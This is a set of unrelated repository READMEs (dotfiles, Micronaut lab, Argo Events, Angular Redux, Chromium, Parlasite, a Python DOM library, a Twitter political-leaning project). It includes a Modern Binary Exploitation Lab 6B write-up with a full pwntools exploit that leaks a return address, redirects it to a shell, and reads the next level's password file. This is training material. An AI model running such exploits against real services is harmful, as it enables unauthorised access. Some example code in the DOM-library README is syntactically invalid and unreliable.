$ ./deploy.sh <init|update|audit>
```

## Configuration

Edit the following for dotfiles deployment :
  * `candidates.conf` (gets its contents from dotfiles root folder)
  * `.altcandidates.conf` (gets its contents from ".alt" directory in dotfiles root folder)

Look into the `setup` folder for configuration of macOS apps and settings to install :
- `xcode.sh`: Install the XCode Command Line Tools.
- `homebrew.sh`: Install [Homebrew](https://brew.sh/).
- `formulas.sh`: Install various Homebrew Formulas. This is the file to edit to define all the Formulas you want to install.
- `casks.sh`: Install [Homebrew-Cask](https://caskroom.github.io/) and various Casks. This is the file to edit to define all the Casks you want to install.
- `node.sh`: Install the latest stable version of [Node.js](https://nodejs.org) and install various global packages. This is the file to edit to define all the global packages you want to install.
- `settings.sh`: Configure all your environment settings. This is the file to edit to enable / disable some customizations and define your own.

## Resources

* [hideoo/dotfiles](https://github.com/hideoo/dotfiles)

## License

Code released under the [MIT license](https://github.com/icasp/dotfiles/blob/master/LICENSE.md).

repository: icasp/dotfiles

repo_name: icasp/dotfiles


text:
# Getting to Know Micronaut

## Introduction
In this lab you will learn how to navigate around a Micronaut project structure.

Estimated Lab Time: 10 minutes

### Objectives

In this lab you will:
* Learn the layout of a Micronaut project
* Run your first Micronaut application
* Run the tests for your first Micronaut Application

### Prerequisites
- Access to your project instance

## Project Structure
Micronaut projects are structured as per standard Maven-based project conventions.

The following logical structure exists for the application:

* `src/main/java` - This directory contains your Java source code
* `src/main/resources` - The resources directory contains application configuration
* `src/main/resources/application.yml` - A Micronaut application can be configured using YAML, properties files, JSON and many other means. The default is `application.yml` where you can find your application configuration.
* `src/main/resources/logback.xml` - By default Micronaut uses [logback](http://logback.qos.ch) for logging. The `logback.xml` file defines your logging configuration.
* `build.gradle` or `pom.xml` - Depending which build tool you chose you will either have a `build.gradle` for the [Gradle build tool](https://gradle.org) or `pom.xml` for the [Maven build tool](https://maven.apache.org) which defines your application build file.

## Running the Application
You can run a Micronaut application using the `Application` class which features an executable `main` method. A simple `Application` class looks like the following:

```java
package example.micronaut;

import io.micronaut.runtime.Micronaut;

public class Application {

    public static void main(String[] args) {
        Micronaut.run(Application.class, args);
    }
}
```

The `io.micronaut.runtime.Micronaut` class bootstraps Micronaut and starts the application (on port 8080 by default) using the embedded Netty-based server.

You can run the application by right-clicking in the cloud IDE and running the main method. Then you can access the application via `http://[YOUR IP]:8080`. Note that you will get a "Page Not Found" error from Micronaut since we haven't defined any controller endpoints yet.

> NOTE: Remember to use the `http` protocol when accessing the instance on port 8080 and not `https` otherwise you will receive an error.

Try this now:

![Running the application](images/running.png)

## Automatic Restarts
It is often convenient to have changes you make to your application reflected automatically via a restart of the server.

To do this open Terminal (by clicking ALT+F12 or the Terminal button at the bottom of the window) and type `./gradlew run -t` for Gradle or `./mvnw mn:run` for Maven.

> NOTE: Do not forget to stop the Micronaut application you started in previous step.

Now every time you make a change to one of the sources the server will automatically restart and reflect the change.

![Running the application](images/autorestart.png)

## Running Tests
You can run tests in the project simply by right-clicking on the test you wish to run and running the test.

Try this now:

![Running tests](images/running-tests.png)

You may now *proceed to the next lab*.

### Acknowledgements
- **Owners** - Graeme Rocher, Architect, Oracle Labs - Databases and Optimization
- **Contributors** - Palo Gressa, Todd Sharp, Eric Sedlar


text:
---
layout: post
title: Modern Binary Exploitation - Lab 6B
published: True
---

For this lab, we are given a program and its corresponding source code:

{% highlight C %}
/* compiled with: gcc -z relro -z now -pie -fPIE -fno-stack-protector -o lab6B lab6B.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "utils.h"

ENABLE_TIMEOUT(300)

/* log the user in */
int login()
{
    printf("WELCOME MR. FALK\n");

    /* you win */
    system("/bin/sh");
    return 0;
}

/* doom's super secret password mangling scheme */
void hash_pass(char * password, char * username)
{
    int i = 0;

    /* hash pass with chars of username */
    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

    /* hash rest of password with a pad char */
    while(password[i])
    {
        password[i] ^= 0x44;
        i++;
    }

    return;
}

/* doom's super secure password read function */
int load_pass(char ** password)
{
    FILE * fd = 0;
    int fail = -1;
    int psize = 0;

    /* open the password file */
    fd = fopen("/home/lab6A/.pass", "r");
    if(fd == NULL)
    {
        printf("Could not open secret pass!\n");
        return fail;
    }

    /* get the size of the password */
    if(fseek(fd, 0, SEEK_END))
    {
        printf("Failed to seek to end of pass!\n");
        return fail;
    }

    psize = ftell(fd);

    if(psize == 0 || psize == -1)
    {
        printf("Could not get pass size!\n");
        return fail;
    }

    /* reset stream */
    if(fseek(fd, 0, SEEK_SET))
    {
        printf("Failed to see to the start of pass!\n");
        return fail;
    }

    /* allocate a buffer for the password */
    *password = (char *)malloc(psize);
    if(password == NULL)
    {
        printf("Could not malloc for pass!\n");
        return fail;
    }

    /* make sure we read in the whole password */
    if(fread(*password, sizeof(char), psize, fd) != psize)
    {
        printf("Could not read secret pass!\n");
        free(*password);
        return fail;
    }

    fclose(fd);

    /* successfully read in the password */
    return psize;
}

int login_prompt(int pwsize, char * secretpw)
{
    char password[32];
    char username[32];
    char readbuff[128];
    int attempts = -3;
    int result = -1;

    /* login prompt loop */
    while(attempts++)
    {
        /* clear our buffers to avoid any sort of data re-use */
        memset(password, 0, sizeof(password));
        memset(username, 0, sizeof(username));
        memset(readbuff, 0, sizeof(readbuff));

        /* safely read username */
        printf("Enter your username: ");
        fgets(readbuff, sizeof(readbuff), stdin);

        /* use safe strncpy to copy username from the read buffer */
        strncpy(username, readbuff, sizeof(username));

        /* safely read password */
        printf("Enter your password: ");
        fgets(readbuff, sizeof(readbuff), stdin);

        /* use safe strncpy to copy password from the read buffer */
        strncpy(password, readbuff, sizeof(password));

        /* hash the input password for this attempt */
        hash_pass(password, username);

        /* check if password is correct */
        if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0)
        {
            login();
            result = 0;
            break;
        }

        printf("Authentication failed for user %s\n", username);
    }

    return result;
}

int main(int argc, char* argv[])
{
    int pwsize;
    char * secretpw;

    disable_buffering(stdout);

    /* load the secret pass */
    pwsize = load_pass(&secretpw);
    pwsize = pwsize > 32 ? 32 : pwsize;

    /* failed to load password */
    if(pwsize == 0 || pwsize == -1)
        return EXIT_FAILURE;

    /* hash the password we'll be comparing against */
    hash_pass(secretpw, "lab6A");
    printf("----------- FALK OS LOGIN PROMPT -----------\n");
    fflush(stdout);

    /* authorization loop */
    if(login_prompt(pwsize, secretpw))
    {

        /* print the super serious warning to ward off hackers */
        printf("+-------------------------------------------------------+\n"\
               "|WARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNIN|\n"\
               "|GWARNINGWARNI - TOO MANY LOGIN ATTEMPTS - NGWARNINGWARN|\n"\
               "|INGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWAR|\n"\
               "+-------------------------------------------------------+\n"\
               "|       We have logged this session and will be         |\n"\
               "|  sending it to the proper CCDC CTF teams to analyze   |\n"\
               "|             -----------------------------             |\n"\
               "|     The CCDC cyber team dispatched will use their     |\n"\
               "|      masterful IT and networking skills to trace      |\n"\
               "|       you down and serve swift american justice       |\n"\
               "+-------------------------------------------------------+\n");

        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}
{% endhighlight %}

If we run `checksec`, we can see that NX, PIE and full RELRO are enabled.
{% highlight bash%}
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
{% endhighlight %}

The program actually runs as a network service on port 6642 that we must exploit.

## Vulnerability

If we look at the source code, we can see that there is a vulnerability in the `login_prompt()` function.
Specifically, the two `strncpy()` calls are not used correctly.

{%highlight c%}
strncpy(username, readbuff, sizeof(username));
{%endhighlight%}
{%highlight c%}
strncpy(password, readbuff, sizeof(password));
{%endhighlight%}
The manpage for `strncpy()` tells us the following:

*The stpncpy() and strncpy() functions copy at most n characters from src into dst.*
*If src is less than n characters long, the remainder of dst is filled with `\0' characters.*
***Otherwise, dst is not terminated.***
*[...]*
***Warning*** *If there is no null byte among the first n bytes of src, the string placed in dest will not be null-terminated.*

Because of this, if we specify 32 bytes of data or more in the `readbuff` array, the `username` and `password` buffers will be completely filled up **without being null terminated.**

This is because `src` will not be less than `n` characters long, and there will be no null byte encountered in the first 32 bytes of `src`.

After each `strncpy()`, what **should** be done to use each function correctly is the following.
{%highlight c%}
username[sizeof(username)-1] = '\0';
{%endhighlight%}
{%highlight c%}
password[sizeof(password)-1] = '\0';
{%endhighlight%}

*As a side note, other functions that do not guarantee null-termination include `snprintf()` and `wcsncpy()`.*

To verify this vulnerability, we can use `gdb`.

Look at what happens after a 32 byte username is `strncpy()`'d to the stack.
{% highlight bash %}
gdb-peda$ x/32xw 0xffffd3f8
0xffffd3f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd408:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd418:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd428:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd438:     0xffffffff      0xfffffffe      0x56557f78      0x56557f78
0xffffd448:     0xffffd478      0x56555f7e      0x00000020      0x56559170
0xffffd458:     0x00000002      0x00000000      0xf7fb13c4      0x0000000d
0xffffd468:     0x56559170      0x00000020      0x56555fb0      0xf7fb1000
{% endhighlight %}

And now look at what happens when a 32 byte password is `strncpy()`'d to the stack.
{% highlight bash %}
gdb-peda$ x/32xw 0xffffd3f8
0xffffd3f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd408:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd418:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd428:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd438:     0xffffffff      0xfffffffe      0x56557f78      0x56557f78
0xffffd448:     0xffffd478      0x56555f7e      0x00000020      0x56559170
0xffffd458:     0x00000002      0x00000000      0xf7fb13c4      0x0000000d
0xffffd468:     0x56559170      0x00000020      0x56555fb0      0xf7fb1000
{% endhighlight %}

Notice that starting from the beginning of the **username**, the null termination character isn't encountered until `0xffffd451` which is far after what is supposed to be the end of the **password**.

We can also see that the saved EIP, `0x56555f7e` is stored at address `0xffffd44c`, `int result` is stored at `0xffffd438`, `int attempts` is stored at `0xffffd43c`.

This later gives us a pointer leak when the login fails and the username is printed back out to stdout.
{%highlight c%}
printf("Authentication failed for user %s\n", username);
{%endhighlight%}

However, before this `printf()` statement is called, `hash_pass()` is called, which performs math operations on **password** and **username**, transforming the **password** variable on the stack.

But, because neither the `username` nor `password` variable is null-byte terminated, we can cause these operations to transform other addresses on the stack, such as the saved EIP.

## Exploit
Our goal is to transform the saved EIP so that when `login_prompt()` finishes, it returns to `login()` instead of back to `main()`.
We can do this in just 2 login attempts.
But first, we need to make a few calculations.

{% highlight bash %}
login =  0x56555af4
saved EIP = 0x56555f7e
saved EIP-login = 0x48a
{% endhighlight %}

We can see that the saved EIP will exist at an offset of 0x48a from the address of `login()`, allowing us to dynamically calculate the address of `login()` at runtime using the leaked pointer..

However, in our final exploit, we also need to account for the fact that the pointer will leak will be the saved EIP xored by `0x3030303`.
We get `0x3030303` from `0x41414141`^`0x42424242`.

Additionally, we need to determine the offset of the password buffer that will be xor'd with the transformed saved EIP.
Using `gdb`, we find that the dword in password[20] will xor the value of the saved EIP.
Therefore, we can get the value of this dword "key" we need by performing a simple calculation, keeping in mind that the initial value of this key will be xor'd with `0x41414141` before the result is used to xor the transformed saved EIP.
{%highlight bash%}
key = (leakedptr^login)^0x41414141
{%endhighlight%}

Putting everything together, the following exploit will grant us a shell.

## Solution
{% highlight python %}
#!/usr/bin/env python

from pwn import *
import sys

def exploit(r):
  ## Login Attempt 1
  r.recvuntil("username: ")
  r.sendline("A"*32) # non-null terminated username
  r.recvuntil("password: ")
  r.sendline("B"*32) # non-null terminated password

  r.recv(115)
  leakedptr = u32(r.recv(4)) # saved EIP
  log.success("leaked ptr "+str(hex(leakedptr))+" found")
  login = (leakedptr^0x3030303)-0x48a
  log.success("login() found @ "+str(hex(login)))

  x = (leakedptr^login)^0x41414141 # value which will be used to transform saved EIP to &login

  ## Login Attempt 2
  r.recvuntil("username: ")
  r.sendline("A"*32)
  r.recvuntil("password: ")
  r.sendline("B"*20+p32(x)+"B"*8) # overwrites password[20]
  log.success("saved EIP overwritten w/login()!")

  ## Login Attempts 3-5
  for i in range(3):
    r.recvuntil("username: ")
    r.sendline("A")
    r.recvuntil("password: ")
    r.sendline("B")

  r.recvuntil("\n")
  r.interactive()
if __name__ == "__main__":
  log.info("For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    exploit(r)
  else:
    r = process([ './lab6B'])
    print util.proc.pidof(r)
    pause()
    exploit(r)
{% endhighlight %}

{% highlight bash %}
lab6B@warzone:/tmp/lab6B$ python solve.py <IP_ADDRESS> 6642
[*] For remote: solve.py HOST PORT
[+] Opening connection to <IP_ADDRESS> on port 6642: Done
[+] leaked ptr 0xb4700c7d found
[+] login() found @ 0xb7730af4
[+] saved EIP overwritten w/login()!
[*] Switching to interactive mode

WELCOME MR. FALK
$ id
uid=1024(lab6A) gid=1025(lab6A) groups=1025(lab6A),1001(gameuser)
$ cat /home/lab6A/.pass
strncpy_1s_n0t_s0_s4f3_l0l
$
{% endhighlight %}


text:
# Deep Pollster: Political Orientation Prediction

> University of Cincinnati Senior Design 2020

> Deep Pollster is an data analysis application that uses Deep Learning to predict the political leaning of Twitter users in a particular geographical region of the USA

Table of contents
=================

<!--ts-->
   * [Project Description](#project-description)
        * [Abstract](#abstract)
        * [Team Members](#team-members)
        * [Project Advisor](#faculty-advisor)
        * [Challenges](#challenges)
        * [Solution](#solution)
   * [Architecture](#architecture)
        * [Modules](#modules)
            * [Data Extraction](#data-extraction-module)
                * [Dataset](#dataset)
            * [Model](#model)
                * [Classification Model](#classification-model)
                * [Ensemble Classifier](#ensemble-classifier)
            * [Networking](#networking-module)
        * [Technologies](#technologies)
   * [Testing & Results](#testing--results)
        * [Test Plan](#test-planassignmentsassignment-1testplanmd)
        * [Test Case](#test-case)
        * [Results](#results)
            * [Result 1](#result-1)
            * [Result 2](#result-2)
        * [Inference](#inference)
   * [Future Work](#future-work)
   * [User Manual](#user-manual)
   * [Video](#videohttpswwwyoutubecomwatchvcv4k47oorfafeatureyoutube)
   * [Presentation](#presentationassignmentsassignment-3deeppollster_presentationpdf)
   * [Poster](#poster)
   * [Assessments](#assessments)
        * [Initial Self-Assessment](#initial-self-assessment)
        * [Final Self-Assessment](#final-self-assessment)
   * [Summary of Hours](#summary-of-hours)
   * [Assignments](assignments)
   * [Appendix](#license)
<!--te-->

Project Description
===================

## Abstract

Social Networking has risen to a place of prominence as a medium of publishing information. Times are constantly changing, and the power to sway and portray political opinions is shifting from traditional media such as newspapers and television networks to social media platforms like twitter. This has given rise to new directions of research in Computational Political Science.

In this venture we reexamine the problem of measuring and predicting the political orientation of twitter users. We expect to contribute to the study of the political blogosphere by incorporating multiple hypotheses about the behavior of the average twitter user and a registered politician, alike. Incorporating ideas such as tweets, retweets, subtweeting, followers and followees network and degrees of separation helps us understand the twitter political scenario better and helps us better understand how to leverage these sources of information. In recent times, hundreds of researchers take to twitter to analyze the effect of twitter on major political events such as the 2016 and 2020 U.S. elections, and we think that our technical contribution would be the reimagination of the traditional problem of predicting the political leaning of a given user.

By studying the political orientation of twitter users, it is possible to target advertisements at individuals, shape digital profiles, and deliver news, articles, views and products that are individualistic and personalized. This could also be used to predict the political outcome of an election by predicting the leaning of users in a geographical location.

> Index Terms - Twitter, Political Science, NLP, Deep Learning, Neural Networks

## Challenges
Sentiment analysis on tweets to assess political leaning has its disadvantages :

* Does not paint a complete and holistic picture of the users' ideological views
* Cannot build a digital profile of a user from a single or even with a temporal series of tweets
* Assessing political leaning of a demography does not serve the purposes and intents of individual orientation

## Solution
We leverage more than just tweet-retweet maximization, or a network matrix :

* Binary classification of the latest tweets, retweets and liked tweets on the basis of political leaning
* Identifying the degree of separation between the user and politicians from both the political sides

Our proposed system is curated to provide a more rounded and holistic sense of the individual user, painting an overall picture of their digital profile, leading to potential in marketing and business spheres.

## Team Members

   Shivchander Sudalairaj -<EMAIL_ADDRESS>
   Sagar Panwar -<EMAIL_ADDRESS>
## Faculty Advisor

Anca Ralescu -<EMAIL_ADDRESS>

Architecture
============

![arch](assets/architecture.png)

## Modules

### Data Extraction Module

![dataextraction](assets/data_ext.png)

### Dataset
> [Link to download the dataset](https://www.kaggle.com/kapastor/democratvsrepublicantweets)

### Model

#### Classification Model
![classificationmodel](assets/model.png)

#### Ensemble Classifier
![ensemble](assets/ensemble.png)

### Networking Module
> Degree of Seperation (Erdos Number)
![networking](assets/network_module.png)

## Technologies

* [Twitter API](https://developer.twitter.com/en/docs)
* [Keras](https://keras.io)
* [Tensorflow](https://www.tensorflow.org)
* [Pandas](https://pandas.pydata.org)

Testing & Results
=================
## [Test Plan](assignments/assignment-1/testplan.md)

## Test Case
* The model was tested with multiple sets of test cases to eliminate any innate bias
* Each sets of test cases consists of a set of 50 previously untested politicians’ twitter handles

_Hypothesis : Politicians are relatively consistent with the language models that they follow while publishing tweets on twitter_

## Results

### Result 1
![result1](assets/missclassifications.png)

>After running our tests, we observed that our model was able to predict democratic politicians with 100% accuracy
While the misclassifications arose with republican politicians resulting with an accuracy of 80%

### Result 2
![result2](assets/ConfidenceLevels.png)

>After running our tests, we observed that our model was able to identify democrats with significantly higher confidence than republicans.

>We also observed that predictions from tweets model was more stable than retweets and liked tweets. This supports our initial hypothesis for variable weights

## Inference

* Democratic tweets consistently fall on the political left
* Republican tweets falls more on political centre and centre-right
* Democrats are more consistent with their language and in turn political ideologies used on twitter
* Republicans use language which is more ambiguous and tend to waver between left and right of the political spectrum
* Naively extrapolating this model to general public users will cause inherent bias

Future Work
===========
* The handling of tweet content analysis and classification can further be improved to handle spam accounts. It is also to be noted that sarcasm is yet to be handled by our model and additions could be made to account for this
* To develop a generalized model to be applicable for general public users, we would need to survey users and find out their political orientation to develop a more general dataset and retrain the model using the dataset

[User Manual](usermanual.md)
========================================

[Video](https://www.youtube.com/watch?v=cv4K47OorfA&feature=youtu.be)
===================================================================

[Presentation](assignments/assignment-3/DeepPollster_Presentation.pdf)
======================================================================

Poster
======
> ![Link to pdf](assignments/assignment-5/Research-2.pdf)

![poster|50%](assets/Research.png)

Assessments
===========

## Initial Self-Assessment

* [Shivchander Sudalairaj](assesments/shiv_fall_assessment.md)
* [Sagar Panwar](assesments/sagar_fall_assessment)

## Final Self-Assessment

* [Shivchander Sudalairaj](assesments/shiv_final_assessment.md)
* [Sagar Panwar]()

Summary of Hours
================

|    |     Date    | Category                       | Shiv | Sagar |
|----|:-----------:|--------------------------------|:----:|:-----:|
| 1  | 1/20 - 1/25 | Twitter API                    |  4   |  10   |
| 2  |  1/26 - 2/1 | Data Exploration               |   5  |   10  |
| 3  |  2/2 - 2/15 | Research Exploration           |   5  |   10  |
| 4  | 2/16 - 2/22 | Experiments with LSTM          |   5  |   3   |
| 5  | 2/23 - 2/29 | Data Preprocessing             |   5  |   2   |
| 6  | 3/1 - 3/7   | Model Architecture Experiments | 10   |   5   |
| 7  | 3/8 - 3/14  | Model Training                 |  6   |   2   |
| 8  | 3/15 - 3/21 | Model Testing                  |  4   |   2   |
| 9  | 3/22 - 4/4  | Integration                    |  7   |   2   |
| 10 | 4/5 - 4/11  | Documentation and Github       |  4   |   4   |
|    |             | Total Hours                    | 55   | 50    |

[Assignments](assignments)
==========================

License
=======

[![License](http://img.shields.io/:license-mit-blue.svg?style=flat-square)](http://badges.mit-license.org)

- **[MIT license](LICENSE)**
- Copyright 2020

gha_language: Jupyter Notebook


text:
# Emitter

Emitter gateway subscribes to a channel and helps sensor trigger the workloads.

# Event Structure

The structure of an event dispatched by the gateway to the sensor looks like following,

        {
            "context": {
              "type": "type_of_gateway",
              "specVersion": "cloud_events_version",
              "source": "name_of_the_gateway",
              "eventID": "unique_event_id",
              "time": "event_time",
              "dataContentType": "type_of_data",
              "subject": "name_of_the_event_within_event_source"
            },
            "data": {
              "topic": "name_of_the_topic",
              "body": "message_payload"
            }
        }

## Setup

1. Deploy emitter in your local K8s cluster,

        ---
        apiVersion: v1
        kind: Service
        metadata:
          name: broker
          labels:
            app: broker
        spec:
          clusterIP: None
          ports:
            - port: 4000
              targetPort: 4000
          selector:
            app: broker
        ---
        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: broker
        spec:
          replicas: 1
          selector:
            matchLabels:
              app: broker
          template:
            metadata:
              labels:
                app: broker
            spec:
              containers:
                - env:
                    - name: EMITTER_LICENSE
                      value: "zT83oDV0DWY5_JysbSTPTDr8KB0AAAAAAAAAAAAAAAI" # This is a test license, DO NOT USE IN PRODUCTION!
                    - name: EMITTER_CLUSTER_SEED
                      value: "broker"
                    - name: EMITTER_CLUSTER_ADVERTISE
                      value: "private:4000"
                  name: broker
                  image: emitter/server:latest
                  ports:
                    - containerPort: 8080
                    - containerPort: 443
                    - containerPort: 4000
                  volumeMounts:
                    - name: broker-volume
                      mountPath: /data
              volumes:
                - name: broker-volume
                  hostPath:
                    path: /emitter #directory on host

2. Create the event source by running the following command.

        kubectl apply -n argo-events -f https://raw.githubusercontent.com/argoproj/argo-events/stable/examples/event-sources/emitter.yaml

3. Create the gateway by running the following command,

        kubectl apply -n argo-events -f https://raw.githubusercontent.com/argoproj/argo-events/stable/examples/gateways/emitter.yaml

4. Inspect the gateway pod logs to make sure the gateway was able to subscribe to the topic specified in the event source to consume messages.

5. Create the sensor by running the following command,

        kubectl apply -n argo-events -f https://raw.githubusercontent.com/argoproj/argo-events/stable/examples/sensors/emitter.yaml

6. Send message on emitter channel using one of the clients https://emitter.io/develop/golang/

7. Once a message is published, an argo workflow will be triggered. Run `argo list` to find the workflow.

## Troubleshoot
Please read the [FAQ](https://argoproj.github.io/argo-events/FAQ/).

repository: jonnylangefeld/argo-events

repo_name: jonnylangefeld/argo-events


text:
WARNING: this repo is deprecated. If looking to integrate Angular 2 and Redux, have a look at [ng2-redux](https://github.com/angular-redux/ng2-redux).

# Angular 2 Redux Store

A minimalistic Redux Store for building Angular 2 apps using the Flux architecture.

Check this post for a more detailed explanation:

[Angular 2 Application Architecture -Building Flux Apps with Redux and Immutable.js](http://blog.jhades.org/angular-2-application-architecture-building-flux-like-apps-using-redux-and-immutable-js-js/)

[![npm version](https://img.shields.io/npm/v/angular2-redux-store.svg?style=flat-square)](https://www.npmjs.com/package/angular2-redux-store)

### The Gist

Redux is very often used to handle the state of an application. The idea of building apps using a Flux-like architecture is to isolate the state of the application inside a store, so we can better control it. The [redux docs](http://redux.js.org/) are a great reference for learning Flux.

Redux provides a very intuitive and easy to use data store that is getting a lot of traction. We just need a way to conveniently use it in an Angular 2 app, and that's where the Angular 2 Redux Store comes in.

### The Angular 2 Redux Store

To add a redux store to an Angular 2 app, simply do this:

```js
import {ReduxStore} from "angular2-redux-store";

let store = createStore(todoReducers, List([]));

@Injectable()
export class TodoStore extends ReduxStore {

    constructor() {
        super(store);
    }

}
```

You can create the store anyway you like, using any of the Redux middleware available such as [logging](https://github.com/fcomb/redux-logger) or the [devtools](https://github.com/gaearon/redux-devtools).
In this case only a simple store is created. A TodoStore class is created, that needs to be added to the root boostrap call of the app:

```js
bootstrap(App, [
    HTTP_PROVIDERS,
    TodoService,
    TodoStore
]);
```

The redux store can now be injected in any part of the app that needs it:

```js
export class TodoList {

    constructor(private store: TodoStore) {

    }

    toggleTodo(todo) {
        this.store.dispatch(toggleTodo(todo));
    }
}
```

The toggleTodo method is an example of an action creator, see the [redux documentation](http://redux.js.org/docs/basics/Actions.html) for more details.

###  The Redux Store API

The ReduxStore API has the same 3 methods as a redux store: getState(), dispatch() and subscribe():

```js
// returns the current state of the store
let currentState = todoStore.getState();

// dispatches an action to the store
todoStore.dispatch(action);

// adds a state change listener
let unsubscribe = todoStore.subscribe(
   state => console.log('Received new store state: ' + state);
);

// when the subscription is not needed anymore
unsubscribe();
```

### Using the Angular 2 Redux Store

You can install ReduxStore and include it as a dependency, together with Angular 2 and Redux:

    npm install -S angular2-redux-store

This installs a CommonJs version of the library in node_modules, ready to be consumed by Webpack or SystemJs.

If you want to consume this library using Jspm, first install jspm globally:

    npm install -g jspm

Then install angular2-redux-store like this:

     jspm install npm:angular2-redux-store

### Redux,  Immutability and Type Safety
Altough redux does not enforce any immutability library, its important to use one so that we have the strong guarantee that the state that comes out of the store cannot be tampered with in any way by the component tree.

To achieve this, have a look at immutable.js. With it its possible to define classes that are immutable and still keep the benefits of type-safety in a Typescript environment. For example, this is how an immutable Todo class can be defined:

```js
import {Record} from 'immutable';

const TodoRecord = Record({
    id: 0,
    description: "",
    completed: false
});

export class Todo extends TodoRecord {

    id:number;
    description:string;
    completed: boolean;

    constructor(props) {
        super(props);
    }
}
```
This is based on the immutable.js [Record](https://facebook.github.io/immutable-js/docs/#/Record), which allows to create an immutable object with an allowed set of keys.

The Todo class is both immuttable and type-safe, meaning its possible to autocomplete its properties and have it's usage type-checked by the Typescript compiler.

### Running the sample app

This project contains a sample Todo app built using Angular 2, Redux and this library. To run it, open a terminal and run:

    npm install -g jspm
    cd example
    npm install
    npm run watch

Then open a second terminal and run:

    npm start

### License

[MIT](https://opensource.org/licenses/MIT)


text:
# //base/android

This directory contains:

* C++ APIs that are broadly useful and are unique to `target_os="android"`, and
* Java APIs that are broadly useful, along C++ bindings when necessary.

This directory does not contain Android-specific implementations / extensions
to APIs declared directly in `//base`. Those live in `//base/*_android.cc`, or
behind `#ifdef`s.

## Adding New APIs

The advice laid out in [//base/README.md] applies to this directory as well.
The bars for what APIs should exist and for code quality are generally higher
than for other directories. If you find yourself wanting to add a new API, you
should expect that code reviews take multiple revisions and that they be met
with (respectful) scrutiny.

If you are not sure whether an API would make sense to add, you can ask via
<EMAIL_ADDRESS>It is common to add APIs to `//chrome` (or elsewhere) first, and move them into
`//base` after their usefulness has been proven.

[//base/README.md]: /base/README.md

### What Uses //base/android?

The main two clients are Chrome and WebView, but it is also used by other
Chromium-based apps, such as Chromecast and Chrome Remote desktop. Some
`//base/android` classes are used by `//build` (this is a layering violation,
tracked in [crbug/1364192] and [crbug/1377351]).

Two considerations for WebView:

1. The application Context is that of the host app's.
2. The UI thread might be different from the main thread.

[crbug/1364192]: https://crbug.com/1364192
[crbug/1377351]: https://crbug.com/1377351

### New API Checklist

Here is a list of checks you should go through when adding a new API:

1. The functionality does not already exist in system libraries (Java APIs,
   Android SDK) or in already adopted `third_party` libraries, such as AndroidX.
2. Reasonable effort has been made to ensure the new API is discoverable. E.g.:
   Coordinate refactorings of existing patterns to it, add a [presubmit check],
   to recommend it, etc.
3. Tests (ideally Robolectric) are added.
4. Thought has been put into API design.
   * E.g. adding `@Nullable`, or `@DoNotMock`
   * E.g. adding test helpers, such as `ForTesting()` methods or `TestRule`s
   * E.g. adding asserts or comments about thread-safety
   * E.g. could usage of the API be made harder to get wrong?

[presumbit check]: https://chromium.googlesource.com/chromium/src/+/main/build/android/docs/java_toolchain.md#Static-Analysis-Code-Checks

### Choosing a Reviewer

All members of [`//base/android/OWNERS`] will be CC'ed on reviews through a
[`//WATCHLIST`] entry. For new APIs, feel free to pick a reviewer at random.
For modifying existing files, it is best to use a reviewer from prior changes to
the file.

[`//base/android/OWNERS`]: /base/android/OWNERS
[`//WATCHLIST`]: /WATCHLIST

repository: chromium/chromium

repo_name: chromium/chromium


text:
# Parlasite

This is the actual website implementation powering [parlameter.si](https://parlameter.si/). It's not much, and it remains deceptively simple. Implemented with node.js it serves HTML pages with cards from [Parlanode](https://github.com/muki/parlanode) embedded within them.

Parlameter (or any site using parlanode as its card-serving engine) could easily be implemented as a bunch of static HTML pages or using any other CMS service that allows you to embed things from the web. The main advantage of Parlasite's configuration that it requests the HTML-only code from [Parlanode](https://github.com/muki/parlanode) before it renders the page and serves it to the visitor.

If you embed [Parlanode](https://github.com/muki/parlanode) cards with the `embed=true` parameter the cards themselves are loaded client-side after the scaffolding has finished loading. Parlasite provides an example implementation to use [Parlanode](https://github.com/muki/parlanode) as an integral part of a website.

## Installation

Download/clone the git repository and run `npm install`.

## Start local (development) server

Run `node run.js` from the repository's root directory. It will serve the website on `localhost:3066`. No hot reloading module is supplied, you need to refresh the website manually to see the results. If you change any of the "backend" files (like router.js) you need to also restart the development server.

## Deploy

On our production servers, Parlasite is deployed using [pm2](https://github.com/Unitech/pm2). Your life will be simplest if you use it as well. In order to do that, install it on your server and edit `ecosystem.config.js` to suit your needs. After you've done that run `pm2 deploy ecosystem.config.js production` to get the app up and running.

license: Unlicense

repository: danesjenovdan/parlasite

branch_name: refs/heads/dev

gha_language: EJS

gha_license_id: Unlicense

repo_name: danesjenovdan/parlasite


text:
# dominic
> Version 0.1 (unreleased)

# What

python-pure implementation of CSS selectors, and DOM traversing

# Basic usage

## install:

    user@machine:~$ [sudo] pip install dominic

## documentation

    from dominic import DOM

    html = """

        <title>My Title</title>

Hello!

        <input type="text" id="string" value="value" />

          text here!

    """

    dom = DOM(html)

    body_elements = dom.find("body *")

    assert body_elements.length is 4

    p1 = for p in dom.find("p")[0]
    p2 = for p in dom.find("p").first()

    p3 = for p in dom.find("#main").first()
    p4 = for p in dom.find(".paragraph").first()

    assert p1.text() == p2.text()
    assert p2.text() == p3.text()
    assert p3.text() == p4.text()
    assert p4.text() == "Hello!"
    assert p4.html() == "
Hello!
"

    span = dom.find("div.one.two.three > span#the-span").first()

    assert span.text() == 'text here!'

    assert span.text('reflect changes')

    assert span.text() == 'reflect changes'
    assert span.html() == 'reflect changes'

    assert dom.html() == """

        <title>My Title</title>

Hello!

        <input type="text" id="string" value="value" />

          reflect changes

    """

